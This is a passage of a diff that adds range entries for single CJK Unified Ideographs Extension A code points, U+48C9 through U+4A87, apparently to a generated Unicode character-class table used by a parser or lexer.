+ ["\u48C9", "\u48C9"], /* CJK Ideograph Extension A */
+ ["\u48CA", "\u48CA"], /* CJK Ideograph Extension A */
+ ["\u48CB", "\u48CB"], /* CJK Ideograph Extension A */
+ ["\u48CC", "\u48CC"], /* CJK Ideograph Extension A */
+ ["\u48CD", "\u48CD"], /* CJK Ideograph Extension A */
+ ["\u48CE", "\u48CE"], /* CJK Ideograph Extension A */
+ ["\u48CF", "\u48CF"], /* CJK Ideograph Extension A */
+ ["\u48D0", "\u48D0"], /* CJK Ideograph Extension A */
+ ["\u48D1", "\u48D1"], /* CJK Ideograph Extension A */
+ ["\u48D2", "\u48D2"], /* CJK Ideograph Extension A */
+ ["\u48D3", "\u48D3"], /* CJK Ideograph Extension A */
+ ["\u48D4", "\u48D4"], /* CJK Ideograph Extension A */
+ ["\u48D5", "\u48D5"], /* CJK Ideograph Extension A */
+ ["\u48D6", "\u48D6"], /* CJK Ideograph Extension A */
+ ["\u48D7", "\u48D7"], /* CJK Ideograph Extension A */
+ ["\u48D8", "\u48D8"], /* CJK Ideograph Extension A */
+ ["\u48D9", "\u48D9"], /* CJK Ideograph Extension A */
+ ["\u48DA", "\u48DA"], /* CJK Ideograph Extension A */
+ ["\u48DB", "\u48DB"], /* CJK Ideograph Extension A */
+ ["\u48DC", "\u48DC"], /* CJK Ideograph Extension A */
+ ["\u48DD", "\u48DD"], /* CJK Ideograph Extension A */
+ ["\u48DE", "\u48DE"], /* CJK Ideograph Extension A */
+ ["\u48DF", "\u48DF"], /* CJK Ideograph Extension A */
+ ["\u48E0", "\u48E0"], /* CJK Ideograph Extension A */
+ ["\u48E1", "\u48E1"], /* CJK Ideograph Extension A */
+ ["\u48E2", "\u48E2"], /* CJK Ideograph Extension A */
+ ["\u48E3", "\u48E3"], /* CJK Ideograph Extension A */
+ ["\u48E4", "\u48E4"], /* CJK Ideograph Extension A */
+ ["\u48E5", "\u48E5"], /* CJK Ideograph Extension A */
+ ["\u48E6", "\u48E6"], /* CJK Ideograph Extension A */
+ ["\u48E7", "\u48E7"], /* CJK Ideograph Extension A */
+ ["\u48E8", "\u48E8"], /* CJK Ideograph Extension A */
+ ["\u48E9", "\u48E9"], /* CJK Ideograph Extension A */
+ ["\u48EA", "\u48EA"], /* CJK Ideograph Extension A */
+ ["\u48EB", "\u48EB"], /* CJK Ideograph Extension A */
+ ["\u48EC", "\u48EC"], /* CJK Ideograph Extension A */
+ ["\u48ED", "\u48ED"], /* CJK Ideograph Extension A */
+ ["\u48EE", "\u48EE"], /* CJK Ideograph Extension A */
+ ["\u48EF", "\u48EF"], /* CJK Ideograph Extension A */
+ ["\u48F0", "\u48F0"], /* CJK Ideograph Extension A */
+ ["\u48F1", "\u48F1"], /* CJK Ideograph Extension A */
+ ["\u48F2", "\u48F2"], /* CJK Ideograph Extension A */
+ ["\u48F3", "\u48F3"], /* CJK Ideograph Extension A */
+ ["\u48F4", "\u48F4"], /* CJK Ideograph Extension A */
+ ["\u48F5", "\u48F5"], /* CJK Ideograph Extension A */
+ ["\u48F6", "\u48F6"], /* CJK Ideograph Extension A */
+ ["\u48F7", "\u48F7"], /* CJK Ideograph Extension A */
+ ["\u48F8", "\u48F8"], /* CJK Ideograph Extension A */
+ ["\u48F9", "\u48F9"], /* CJK Ideograph Extension A */
+ ["\u48FA", "\u48FA"], /* CJK Ideograph Extension A */
+ ["\u48FB", "\u48FB"], /* CJK Ideograph Extension A */
+ ["\u48FC", "\u48FC"], /* CJK Ideograph Extension A */
+ ["\u48FD", "\u48FD"], /* CJK Ideograph Extension A */
+ ["\u48FE", "\u48FE"], /* CJK Ideograph Extension A */
+ ["\u48FF", "\u48FF"], /* CJK Ideograph Extension A */
+ ["\u4900", "\u4900"], /* CJK Ideograph Extension A */
+ ["\u4901", "\u4901"], /* CJK Ideograph Extension A */
+ ["\u4902", "\u4902"], /* CJK Ideograph Extension A */
+ ["\u4903", "\u4903"], /* CJK Ideograph Extension A */
+ ["\u4904", "\u4904"], /* CJK Ideograph Extension A */
+ ["\u4905", "\u4905"], /* CJK Ideograph Extension A */
+ ["\u4906", "\u4906"], /* CJK Ideograph Extension A */
+ ["\u4907", "\u4907"], /* CJK Ideograph Extension A */
+ ["\u4908", "\u4908"], /* CJK Ideograph Extension A */
+ ["\u4909", "\u4909"], /* CJK Ideograph Extension A */
+ ["\u490A", "\u490A"], /* CJK Ideograph Extension A */
+ ["\u490B", "\u490B"], /* CJK Ideograph Extension A */
+ ["\u490C", "\u490C"], /* CJK Ideograph Extension A */
+ ["\u490D", "\u490D"], /* CJK Ideograph Extension A */
+ ["\u490E", "\u490E"], /* CJK Ideograph Extension A */
+ ["\u490F", "\u490F"], /* CJK Ideograph Extension A */
+ ["\u4910", "\u4910"], /* CJK Ideograph Extension A */
+ ["\u4911", "\u4911"], /* CJK Ideograph Extension A */
+ ["\u4912", "\u4912"], /* CJK Ideograph Extension A */
+ ["\u4913", "\u4913"], /* CJK Ideograph Extension A */
+ ["\u4914", "\u4914"], /* CJK Ideograph Extension A */
+ ["\u4915", "\u4915"], /* CJK Ideograph Extension A */
+ ["\u4916", "\u4916"], /* CJK Ideograph Extension A */
+ ["\u4917", "\u4917"], /* CJK Ideograph Extension A */
+ ["\u4918", "\u4918"], /* CJK Ideograph Extension A */
+ ["\u4919", "\u4919"], /* CJK Ideograph Extension A */
+ ["\u491A", "\u491A"], /* CJK Ideograph Extension A */
+ ["\u491B", "\u491B"], /* CJK Ideograph Extension A */
+ ["\u491C", "\u491C"], /* CJK Ideograph Extension A */
+ ["\u491D", "\u491D"], /* CJK Ideograph Extension A */
+ ["\u491E", "\u491E"], /* CJK Ideograph Extension A */
+ ["\u491F", "\u491F"], /* CJK Ideograph Extension A */
+ ["\u4920", "\u4920"], /* CJK Ideograph Extension A */
+ ["\u4921", "\u4921"], /* CJK Ideograph Extension A */
+ ["\u4922", "\u4922"], /* CJK Ideograph Extension A */
+ ["\u4923", "\u4923"], /* CJK Ideograph Extension A */
+ ["\u4924", "\u4924"], /* CJK Ideograph Extension A */
+ ["\u4925", "\u4925"], /* CJK Ideograph Extension A */
+ ["\u4926", "\u4926"], /* CJK Ideograph Extension A */
+ ["\u4927", "\u4927"], /* CJK Ideograph Extension A */
+ ["\u4928", "\u4928"], /* CJK Ideograph Extension A */
+ ["\u4929", "\u4929"], /* CJK Ideograph Extension A */
+ ["\u492A", "\u492A"], /* CJK Ideograph Extension A */
+ ["\u492B", "\u492B"], /* CJK Ideograph Extension A */
+ ["\u492C", "\u492C"], /* CJK Ideograph Extension A */
+ ["\u492D", "\u492D"], /* CJK Ideograph Extension A */
+ ["\u492E", "\u492E"], /* CJK Ideograph Extension A */
+ ["\u492F", "\u492F"], /* CJK Ideograph Extension A */
+ ["\u4930", "\u4930"], /* CJK Ideograph Extension A */
+ ["\u4931", "\u4931"], /* CJK Ideograph Extension A */
+ ["\u4932", "\u4932"], /* CJK Ideograph Extension A */
+ ["\u4933", "\u4933"], /* CJK Ideograph Extension A */
+ ["\u4934", "\u4934"], /* CJK Ideograph Extension A */
+ ["\u4935", "\u4935"], /* CJK Ideograph Extension A */
+ ["\u4936", "\u4936"], /* CJK Ideograph Extension A */
+ ["\u4937", "\u4937"], /* CJK Ideograph Extension A */
+ ["\u4938", "\u4938"], /* CJK Ideograph Extension A */
+ ["\u4939", "\u4939"], /* CJK Ideograph Extension A */
+ ["\u493A", "\u493A"], /* CJK Ideograph Extension A */
+ ["\u493B", "\u493B"], /* CJK Ideograph Extension A */
+ ["\u493C", "\u493C"], /* CJK Ideograph Extension A */
+ ["\u493D", "\u493D"], /* CJK Ideograph Extension A */
+ ["\u493E", "\u493E"], /* CJK Ideograph Extension A */
+ ["\u493F", "\u493F"], /* CJK Ideograph Extension A */
+ ["\u4940", "\u4940"], /* CJK Ideograph Extension A */
+ ["\u4941", "\u4941"], /* CJK Ideograph Extension A */
+ ["\u4942", "\u4942"], /* CJK Ideograph Extension A */
+ ["\u4943", "\u4943"], /* CJK Ideograph Extension A */
+ ["\u4944", "\u4944"], /* CJK Ideograph Extension A */
+ ["\u4945", "\u4945"], /* CJK Ideograph Extension A */
+ ["\u4946", "\u4946"], /* CJK Ideograph Extension A */
+ ["\u4947", "\u4947"], /* CJK Ideograph Extension A */
+ ["\u4948", "\u4948"], /* CJK Ideograph Extension A */
+ ["\u4949", "\u4949"], /* CJK Ideograph Extension A */
+ ["\u494A", "\u494A"], /* CJK Ideograph Extension A */
+ ["\u494B", "\u494B"], /* CJK Ideograph Extension A */
+ ["\u494C", "\u494C"], /* CJK Ideograph Extension A */
+ ["\u494D", "\u494D"], /* CJK Ideograph Extension A */
+ ["\u494E", "\u494E"], /* CJK Ideograph Extension A */
+ ["\u494F", "\u494F"], /* CJK Ideograph Extension A */
+ ["\u4950", "\u4950"], /* CJK Ideograph Extension A */
+ ["\u4951", "\u4951"], /* CJK Ideograph Extension A */
+ ["\u4952", "\u4952"], /* CJK Ideograph Extension A */
+ ["\u4953", "\u4953"], /* CJK Ideograph Extension A */
+ ["\u4954", "\u4954"], /* CJK Ideograph Extension A */
+ ["\u4955", "\u4955"], /* CJK Ideograph Extension A */
+ ["\u4956", "\u4956"], /* CJK Ideograph Extension A */
+ ["\u4957", "\u4957"], /* CJK Ideograph Extension A */
+ ["\u4958", "\u4958"], /* CJK Ideograph Extension A */
+ ["\u4959", "\u4959"], /* CJK Ideograph Extension A */
+ ["\u495A", "\u495A"], /* CJK Ideograph Extension A */
+ ["\u495B", "\u495B"], /* CJK Ideograph Extension A */
+ ["\u495C", "\u495C"], /* CJK Ideograph Extension A */
+ ["\u495D", "\u495D"], /* CJK Ideograph Extension A */
+ ["\u495E", "\u495E"], /* CJK Ideograph Extension A */
+ ["\u495F", "\u495F"], /* CJK Ideograph Extension A */
+ ["\u4960", "\u4960"], /* CJK Ideograph Extension A */
+ ["\u4961", "\u4961"], /* CJK Ideograph Extension A */
+ ["\u4962", "\u4962"], /* CJK Ideograph Extension A */
+ ["\u4963", "\u4963"], /* CJK Ideograph Extension A */
+ ["\u4964", "\u4964"], /* CJK Ideograph Extension A */
+ ["\u4965", "\u4965"], /* CJK Ideograph Extension A */
+ ["\u4966", "\u4966"], /* CJK Ideograph Extension A */
+ ["\u4967", "\u4967"], /* CJK Ideograph Extension A */
+ ["\u4968", "\u4968"], /* CJK Ideograph Extension A */
+ ["\u4969", "\u4969"], /* CJK Ideograph Extension A */
+ ["\u496A", "\u496A"], /* CJK Ideograph Extension A */
+ ["\u496B", "\u496B"], /* CJK Ideograph Extension A */
+ ["\u496C", "\u496C"], /* CJK Ideograph Extension A */
+ ["\u496D", "\u496D"], /* CJK Ideograph Extension A */
+ ["\u496E", "\u496E"], /* CJK Ideograph Extension A */
+ ["\u496F", "\u496F"], /* CJK Ideograph Extension A */
+ ["\u4970", "\u4970"], /* CJK Ideograph Extension A */
+ ["\u4971", "\u4971"], /* CJK Ideograph Extension A */
+ ["\u4972", "\u4972"], /* CJK Ideograph Extension A */
+ ["\u4973", "\u4973"], /* CJK Ideograph Extension A */
+ ["\u4974", "\u4974"], /* CJK Ideograph Extension A */
+ ["\u4975", "\u4975"], /* CJK Ideograph Extension A */
+ ["\u4976", "\u4976"], /* CJK Ideograph Extension A */
+ ["\u4977", "\u4977"], /* CJK Ideograph Extension A */
+ ["\u4978", "\u4978"], /* CJK Ideograph Extension A */
+ ["\u4979", "\u4979"], /* CJK Ideograph Extension A */
+ ["\u497A", "\u497A"], /* CJK Ideograph Extension A */
+ ["\u497B", "\u497B"], /* CJK Ideograph Extension A */
+ ["\u497C", "\u497C"], /* CJK Ideograph Extension A */
+ ["\u497D", "\u497D"], /* CJK Ideograph Extension A */
+ ["\u497E", "\u497E"], /* CJK Ideograph Extension A */
+ ["\u497F", "\u497F"], /* CJK Ideograph Extension A */
+ ["\u4980", "\u4980"], /* CJK Ideograph Extension A */
+ ["\u4981", "\u4981"], /* CJK Ideograph Extension A */
+ ["\u4982", "\u4982"], /* CJK Ideograph Extension A */
+ ["\u4983", "\u4983"], /* CJK Ideograph Extension A */
+ ["\u4984", "\u4984"], /* CJK Ideograph Extension A */
+ ["\u4985", "\u4985"], /* CJK Ideograph Extension A */
+ ["\u4986", "\u4986"], /* CJK Ideograph Extension A */
+ ["\u4987", "\u4987"], /* CJK Ideograph Extension A */
+ ["\u4988", "\u4988"], /* CJK Ideograph Extension A */
+ ["\u4989", "\u4989"], /* CJK Ideograph Extension A */
+ ["\u498A", "\u498A"], /* CJK Ideograph Extension A */
+ ["\u498B", "\u498B"], /* CJK Ideograph Extension A */
+ ["\u498C", "\u498C"], /* CJK Ideograph Extension A */
+ ["\u498D", "\u498D"], /* CJK Ideograph Extension A */
+ ["\u498E", "\u498E"], /* CJK Ideograph Extension A */
+ ["\u498F", "\u498F"], /* CJK Ideograph Extension A */
+ ["\u4990", "\u4990"], /* CJK Ideograph Extension A */
+ ["\u4991", "\u4991"], /* CJK Ideograph Extension A */
+ ["\u4992", "\u4992"], /* CJK Ideograph Extension A */
+ ["\u4993", "\u4993"], /* CJK Ideograph Extension A */
+ ["\u4994", "\u4994"], /* CJK Ideograph Extension A */
+ ["\u4995", "\u4995"], /* CJK Ideograph Extension A */
+ ["\u4996", "\u4996"], /* CJK Ideograph Extension A */
+ ["\u4997", "\u4997"], /* CJK Ideograph Extension A */
+ ["\u4998", "\u4998"], /* CJK Ideograph Extension A */
+ ["\u4999", "\u4999"], /* CJK Ideograph Extension A */
+ ["\u499A", "\u499A"], /* CJK Ideograph Extension A */
+ ["\u499B", "\u499B"], /* CJK Ideograph Extension A */
+ ["\u499C", "\u499C"], /* CJK Ideograph Extension A */
+ ["\u499D", "\u499D"], /* CJK Ideograph Extension A */
+ ["\u499E", "\u499E"], /* CJK Ideograph Extension A */
+ ["\u499F", "\u499F"], /* CJK Ideograph Extension A */
+ ["\u49A0", "\u49A0"], /* CJK Ideograph Extension A */
+ ["\u49A1", "\u49A1"], /* CJK Ideograph Extension A */
+ ["\u49A2", "\u49A2"], /* CJK Ideograph Extension A */
+ ["\u49A3", "\u49A3"], /* CJK Ideograph Extension A */
+ ["\u49A4", "\u49A4"], /* CJK Ideograph Extension A */
+ ["\u49A5", "\u49A5"], /* CJK Ideograph Extension A */
+ ["\u49A6", "\u49A6"], /* CJK Ideograph Extension A */
+ ["\u49A7", "\u49A7"], /* CJK Ideograph Extension A */
+ ["\u49A8", "\u49A8"], /* CJK Ideograph Extension A */
+ ["\u49A9", "\u49A9"], /* CJK Ideograph Extension A */
+ ["\u49AA", "\u49AA"], /* CJK Ideograph Extension A */
+ ["\u49AB", "\u49AB"], /* CJK Ideograph Extension A */
+ ["\u49AC", "\u49AC"], /* CJK Ideograph Extension A */
+ ["\u49AD", "\u49AD"], /* CJK Ideograph Extension A */
+ ["\u49AE", "\u49AE"], /* CJK Ideograph Extension A */
+ ["\u49AF", "\u49AF"], /* CJK Ideograph Extension A */
+ ["\u49B0", "\u49B0"], /* CJK Ideograph Extension A */
+ ["\u49B1", "\u49B1"], /* CJK Ideograph Extension A */
+ ["\u49B2", "\u49B2"], /* CJK Ideograph Extension A */
+ ["\u49B3", "\u49B3"], /* CJK Ideograph Extension A */
+ ["\u49B4", "\u49B4"], /* CJK Ideograph Extension A */
+ ["\u49B5", "\u49B5"], /* CJK Ideograph Extension A */
+ ["\u49B6", "\u49B6"], /* CJK Ideograph Extension A */
+ ["\u49B7", "\u49B7"], /* CJK Ideograph Extension A */
+ ["\u49B8", "\u49B8"], /* CJK Ideograph Extension A */
+ ["\u49B9", "\u49B9"], /* CJK Ideograph Extension A */
+ ["\u49BA", "\u49BA"], /* CJK Ideograph Extension A */
+ ["\u49BB", "\u49BB"], /* CJK Ideograph Extension A */
+ ["\u49BC", "\u49BC"], /* CJK Ideograph Extension A */
+ ["\u49BD", "\u49BD"], /* CJK Ideograph Extension A */
+ ["\u49BE", "\u49BE"], /* CJK Ideograph Extension A */
+ ["\u49BF", "\u49BF"], /* CJK Ideograph Extension A */
+ ["\u49C0", "\u49C0"], /* CJK Ideograph Extension A */
+ ["\u49C1", "\u49C1"], /* CJK Ideograph Extension A */
+ ["\u49C2", "\u49C2"], /* CJK Ideograph Extension A */
+ ["\u49C3", "\u49C3"], /* CJK Ideograph Extension A */
+ ["\u49C4", "\u49C4"], /* CJK Ideograph Extension A */
+ ["\u49C5", "\u49C5"], /* CJK Ideograph Extension A */
+ ["\u49C6", "\u49C6"], /* CJK Ideograph Extension A */
+ ["\u49C7", "\u49C7"], /* CJK Ideograph Extension A */
+ ["\u49C8", "\u49C8"], /* CJK Ideograph Extension A */
+ ["\u49C9", "\u49C9"], /* CJK Ideograph Extension A */
+ ["\u49CA", "\u49CA"], /* CJK Ideograph Extension A */
+ ["\u49CB", "\u49CB"], /* CJK Ideograph Extension A */
+ ["\u49CC", "\u49CC"], /* CJK Ideograph Extension A */
+ ["\u49CD", "\u49CD"], /* CJK Ideograph Extension A */
+ ["\u49CE", "\u49CE"], /* CJK Ideograph Extension A */
+ ["\u49CF", "\u49CF"], /* CJK Ideograph Extension A */
+ ["\u49D0", "\u49D0"], /* CJK Ideograph Extension A */
+ ["\u49D1", "\u49D1"], /* CJK Ideograph Extension A */
+ ["\u49D2", "\u49D2"], /* CJK Ideograph Extension A */
+ ["\u49D3", "\u49D3"], /* CJK Ideograph Extension A */
+ ["\u49D4", "\u49D4"], /* CJK Ideograph Extension A */
+ ["\u49D5", "\u49D5"], /* CJK Ideograph Extension A */
+ ["\u49D6", "\u49D6"], /* CJK Ideograph Extension A */
+ ["\u49D7", "\u49D7"], /* CJK Ideograph Extension A */
+ ["\u49D8", "\u49D8"], /* CJK Ideograph Extension A */
+ ["\u49D9", "\u49D9"], /* CJK Ideograph Extension A */
+ ["\u49DA", "\u49DA"], /* CJK Ideograph Extension A */
+ ["\u49DB", "\u49DB"], /* CJK Ideograph Extension A */
+ ["\u49DC", "\u49DC"], /* CJK Ideograph Extension A */
+ ["\u49DD", "\u49DD"], /* CJK Ideograph Extension A */
+ ["\u49DE", "\u49DE"], /* CJK Ideograph Extension A */
+ ["\u49DF", "\u49DF"], /* CJK Ideograph Extension A */
+ ["\u49E0", "\u49E0"], /* CJK Ideograph Extension A */
+ ["\u49E1", "\u49E1"], /* CJK Ideograph Extension A */
+ ["\u49E2", "\u49E2"], /* CJK Ideograph Extension A */
+ ["\u49E3", "\u49E3"], /* CJK Ideograph Extension A */
+ ["\u49E4", "\u49E4"], /* CJK Ideograph Extension A */
+ ["\u49E5", "\u49E5"], /* CJK Ideograph Extension A */
+ ["\u49E6", "\u49E6"], /* CJK Ideograph Extension A */
+ ["\u49E7", "\u49E7"], /* CJK Ideograph Extension A */
+ ["\u49E8", "\u49E8"], /* CJK Ideograph Extension A */
+ ["\u49E9", "\u49E9"], /* CJK Ideograph Extension A */
+ ["\u49EA", "\u49EA"], /* CJK Ideograph Extension A */
+ ["\u49EB", "\u49EB"], /* CJK Ideograph Extension A */
+ ["\u49EC", "\u49EC"], /* CJK Ideograph Extension A */
+ ["\u49ED", "\u49ED"], /* CJK Ideograph Extension A */
+ ["\u49EE", "\u49EE"], /* CJK Ideograph Extension A */
+ ["\u49EF", "\u49EF"], /* CJK Ideograph Extension A */
+ ["\u49F0", "\u49F0"], /* CJK Ideograph Extension A */
+ ["\u49F1", "\u49F1"], /* CJK Ideograph Extension A */
+ ["\u49F2", "\u49F2"], /* CJK Ideograph Extension A */
+ ["\u49F3", "\u49F3"], /* CJK Ideograph Extension A */
+ ["\u49F4", "\u49F4"], /* CJK Ideograph Extension A */
+ ["\u49F5", "\u49F5"], /* CJK Ideograph Extension A */
+ ["\u49F6", "\u49F6"], /* CJK Ideograph Extension A */
+ ["\u49F7", "\u49F7"], /* CJK Ideograph Extension A */
+ ["\u49F8", "\u49F8"], /* CJK Ideograph Extension A */
+ ["\u49F9", "\u49F9"], /* CJK Ideograph Extension A */
+ ["\u49FA", "\u49FA"], /* CJK Ideograph Extension A */
+ ["\u49FB", "\u49FB"], /* CJK Ideograph Extension A */
+ ["\u49FC", "\u49FC"], /* CJK Ideograph Extension A */
+ ["\u49FD", "\u49FD"], /* CJK Ideograph Extension A */
+ ["\u49FE", "\u49FE"], /* CJK Ideograph Extension A */
+ ["\u49FF", "\u49FF"], /* CJK Ideograph Extension A */
+ ["\u4A00", "\u4A00"], /* CJK Ideograph Extension A */
+ ["\u4A01", "\u4A01"], /* CJK Ideograph Extension A */
+ ["\u4A02", "\u4A02"], /* CJK Ideograph Extension A */
+ ["\u4A03", "\u4A03"], /* CJK Ideograph Extension A */
+ ["\u4A04", "\u4A04"], /* CJK Ideograph Extension A */
+ ["\u4A05", "\u4A05"], /* CJK Ideograph Extension A */
+ ["\u4A06", "\u4A06"], /* CJK Ideograph Extension A */
+ ["\u4A07", "\u4A07"], /* CJK Ideograph Extension A */
+ ["\u4A08", "\u4A08"], /* CJK Ideograph Extension A */
+ ["\u4A09", "\u4A09"], /* CJK Ideograph Extension A */
+ ["\u4A0A", "\u4A0A"], /* CJK Ideograph Extension A */
+ ["\u4A0B", "\u4A0B"], /* CJK Ideograph Extension A */
+ ["\u4A0C", "\u4A0C"], /* CJK Ideograph Extension A */
+ ["\u4A0D", "\u4A0D"], /* CJK Ideograph Extension A */
+ ["\u4A0E", "\u4A0E"], /* CJK Ideograph Extension A */
+ ["\u4A0F", "\u4A0F"], /* CJK Ideograph Extension A */
+ ["\u4A10", "\u4A10"], /* CJK Ideograph Extension A */
+ ["\u4A11", "\u4A11"], /* CJK Ideograph Extension A */
+ ["\u4A12", "\u4A12"], /* CJK Ideograph Extension A */
+ ["\u4A13", "\u4A13"], /* CJK Ideograph Extension A */
+ ["\u4A14", "\u4A14"], /* CJK Ideograph Extension A */
+ ["\u4A15", "\u4A15"], /* CJK Ideograph Extension A */
+ ["\u4A16", "\u4A16"], /* CJK Ideograph Extension A */
+ ["\u4A17", "\u4A17"], /* CJK Ideograph Extension A */
+ ["\u4A18", "\u4A18"], /* CJK Ideograph Extension A */
+ ["\u4A19", "\u4A19"], /* CJK Ideograph Extension A */
+ ["\u4A1A", "\u4A1A"], /* CJK Ideograph Extension A */
+ ["\u4A1B", "\u4A1B"], /* CJK Ideograph Extension A */
+ ["\u4A1C", "\u4A1C"], /* CJK Ideograph Extension A */
+ ["\u4A1D", "\u4A1D"], /* CJK Ideograph Extension A */
+ ["\u4A1E", "\u4A1E"], /* CJK Ideograph Extension A */
+ ["\u4A1F", "\u4A1F"], /* CJK Ideograph Extension A */
+ ["\u4A20", "\u4A20"], /* CJK Ideograph Extension A */
+ ["\u4A21", "\u4A21"], /* CJK Ideograph Extension A */
+ ["\u4A22", "\u4A22"], /* CJK Ideograph Extension A */
+ ["\u4A23", "\u4A23"], /* CJK Ideograph Extension A */
+ ["\u4A24", "\u4A24"], /* CJK Ideograph Extension A */
+ ["\u4A25", "\u4A25"], /* CJK Ideograph Extension A */
+ ["\u4A26", "\u4A26"], /* CJK Ideograph Extension A */
+ ["\u4A27", "\u4A27"], /* CJK Ideograph Extension A */
+ ["\u4A28", "\u4A28"], /* CJK Ideograph Extension A */
+ ["\u4A29", "\u4A29"], /* CJK Ideograph Extension A */
+ ["\u4A2A", "\u4A2A"], /* CJK Ideograph Extension A */
+ ["\u4A2B", "\u4A2B"], /* CJK Ideograph Extension A */
+ ["\u4A2C", "\u4A2C"], /* CJK Ideograph Extension A */
+ ["\u4A2D", "\u4A2D"], /* CJK Ideograph Extension A */
+ ["\u4A2E", "\u4A2E"], /* CJK Ideograph Extension A */
+ ["\u4A2F", "\u4A2F"], /* CJK Ideograph Extension A */
+ ["\u4A30", "\u4A30"], /* CJK Ideograph Extension A */
+ ["\u4A31", "\u4A31"], /* CJK Ideograph Extension A */
+ ["\u4A32", "\u4A32"], /* CJK Ideograph Extension A */
+ ["\u4A33", "\u4A33"], /* CJK Ideograph Extension A */
+ ["\u4A34", "\u4A34"], /* CJK Ideograph Extension A */
+ ["\u4A35", "\u4A35"], /* CJK Ideograph Extension A */
+ ["\u4A36", "\u4A36"], /* CJK Ideograph Extension A */
+ ["\u4A37", "\u4A37"], /* CJK Ideograph Extension A */
+ ["\u4A38", "\u4A38"], /* CJK Ideograph Extension A */
+ ["\u4A39", "\u4A39"], /* CJK Ideograph Extension A */
+ ["\u4A3A", "\u4A3A"], /* CJK Ideograph Extension A */
+ ["\u4A3B", "\u4A3B"], /* CJK Ideograph Extension A */
+ ["\u4A3C", "\u4A3C"], /* CJK Ideograph Extension A */
+ ["\u4A3D", "\u4A3D"], /* CJK Ideograph Extension A */
+ ["\u4A3E", "\u4A3E"], /* CJK Ideograph Extension A */
+ ["\u4A3F", "\u4A3F"], /* CJK Ideograph Extension A */
+ ["\u4A40", "\u4A40"], /* CJK Ideograph Extension A */
+ ["\u4A41", "\u4A41"], /* CJK Ideograph Extension A */
+ ["\u4A42", "\u4A42"], /* CJK Ideograph Extension A */
+ ["\u4A43", "\u4A43"], /* CJK Ideograph Extension A */
+ ["\u4A44", "\u4A44"], /* CJK Ideograph Extension A */
+ ["\u4A45", "\u4A45"], /* CJK Ideograph Extension A */
+ ["\u4A46", "\u4A46"], /* CJK Ideograph Extension A */
+ ["\u4A47", "\u4A47"], /* CJK Ideograph Extension A */
+ ["\u4A48", "\u4A48"], /* CJK Ideograph Extension A */
+ ["\u4A49", "\u4A49"], /* CJK Ideograph Extension A */
+ ["\u4A4A", "\u4A4A"], /* CJK Ideograph Extension A */
+ ["\u4A4B", "\u4A4B"], /* CJK Ideograph Extension A */
+ ["\u4A4C", "\u4A4C"], /* CJK Ideograph Extension A */
+ ["\u4A4D", "\u4A4D"], /* CJK Ideograph Extension A */
+ ["\u4A4E", "\u4A4E"], /* CJK Ideograph Extension A */
+ ["\u4A4F", "\u4A4F"], /* CJK Ideograph Extension A */
+ ["\u4A50", "\u4A50"], /* CJK Ideograph Extension A */
+ ["\u4A51", "\u4A51"], /* CJK Ideograph Extension A */
+ ["\u4A52", "\u4A52"], /* CJK Ideograph Extension A */
+ ["\u4A53", "\u4A53"], /* CJK Ideograph Extension A */
+ ["\u4A54", "\u4A54"], /* CJK Ideograph Extension A */
+ ["\u4A55", "\u4A55"], /* CJK Ideograph Extension A */
+ ["\u4A56", "\u4A56"], /* CJK Ideograph Extension A */
+ ["\u4A57", "\u4A57"], /* CJK Ideograph Extension A */
+ ["\u4A58", "\u4A58"], /* CJK Ideograph Extension A */
+ ["\u4A59", "\u4A59"], /* CJK Ideograph Extension A */
+ ["\u4A5A", "\u4A5A"], /* CJK Ideograph Extension A */
+ ["\u4A5B", "\u4A5B"], /* CJK Ideograph Extension A */
+ ["\u4A5C", "\u4A5C"], /* CJK Ideograph Extension A */
+ ["\u4A5D", "\u4A5D"], /* CJK Ideograph Extension A */
+ ["\u4A5E", "\u4A5E"], /* CJK Ideograph Extension A */
+ ["\u4A5F", "\u4A5F"], /* CJK Ideograph Extension A */
+ ["\u4A60", "\u4A60"], /* CJK Ideograph Extension A */
+ ["\u4A61", "\u4A61"], /* CJK Ideograph Extension A */
+ ["\u4A62", "\u4A62"], /* CJK Ideograph Extension A */
+ ["\u4A63", "\u4A63"], /* CJK Ideograph Extension A */
+ ["\u4A64", "\u4A64"], /* CJK Ideograph Extension A */
+ ["\u4A65", "\u4A65"], /* CJK Ideograph Extension A */
+ ["\u4A66", "\u4A66"], /* CJK Ideograph Extension A */
+ ["\u4A67", "\u4A67"], /* CJK Ideograph Extension A */
+ ["\u4A68", "\u4A68"], /* CJK Ideograph Extension A */
+ ["\u4A69", "\u4A69"], /* CJK Ideograph Extension A */
+ ["\u4A6A", "\u4A6A"], /* CJK Ideograph Extension A */
+ ["\u4A6B", "\u4A6B"], /* CJK Ideograph Extension A */
+ ["\u4A6C", "\u4A6C"], /* CJK Ideograph Extension A */
+ ["\u4A6D", "\u4A6D"], /* CJK Ideograph Extension A */
+ ["\u4A6E", "\u4A6E"], /* CJK Ideograph Extension A */
+ ["\u4A6F", "\u4A6F"], /* CJK Ideograph Extension A */
+ ["\u4A70", "\u4A70"], /* CJK Ideograph Extension A */
+ ["\u4A71", "\u4A71"], /* CJK Ideograph Extension A */
+ ["\u4A72", "\u4A72"], /* CJK Ideograph Extension A */
+ ["\u4A73", "\u4A73"], /* CJK Ideograph Extension A */
+ ["\u4A74", "\u4A74"], /* CJK Ideograph Extension A */
+ ["\u4A75", "\u4A75"], /* CJK Ideograph Extension A */
+ ["\u4A76", "\u4A76"], /* CJK Ideograph Extension A */
+ ["\u4A77", "\u4A77"], /* CJK Ideograph Extension A */
+ ["\u4A78", "\u4A78"], /* CJK Ideograph Extension A */
+ ["\u4A79", "\u4A79"], /* CJK Ideograph Extension A */
+ ["\u4A7A", "\u4A7A"], /* CJK Ideograph Extension A */
+ ["\u4A7B", "\u4A7B"], /* CJK Ideograph Extension A */
+ ["\u4A7C", "\u4A7C"], /* CJK Ideograph Extension A */
+ ["\u4A7D", "\u4A7D"], /* CJK Ideograph Extension A */
+ ["\u4A7E", "\u4A7E"], /* CJK Ideograph Extension A */
+ ["\u4A7F", "\u4A7F"], /* CJK Ideograph Extension A */
+ ["\u4A80", "\u4A80"], /* CJK Ideograph Extension A */
+ ["\u4A81", "\u4A81"], /* CJK Ideograph Extension A */
+ ["\u4A82", "\u4A82"], /* CJK Ideograph Extension A */
+ ["\u4A83", "\u4A83"], /* CJK Ideograph Extension A */
+ ["\u4A84", "\u4A84"], /* CJK Ideograph Extension A */
+ ["\u4A85", "\u4A85"], /* CJK Ideograph Extension A */
+ ["\u4A86", "\u4A86"], /* CJK Ideograph Extension A */
+ ["\u4A87", "\u4A87"], /* CJK Ideograph Extension A */
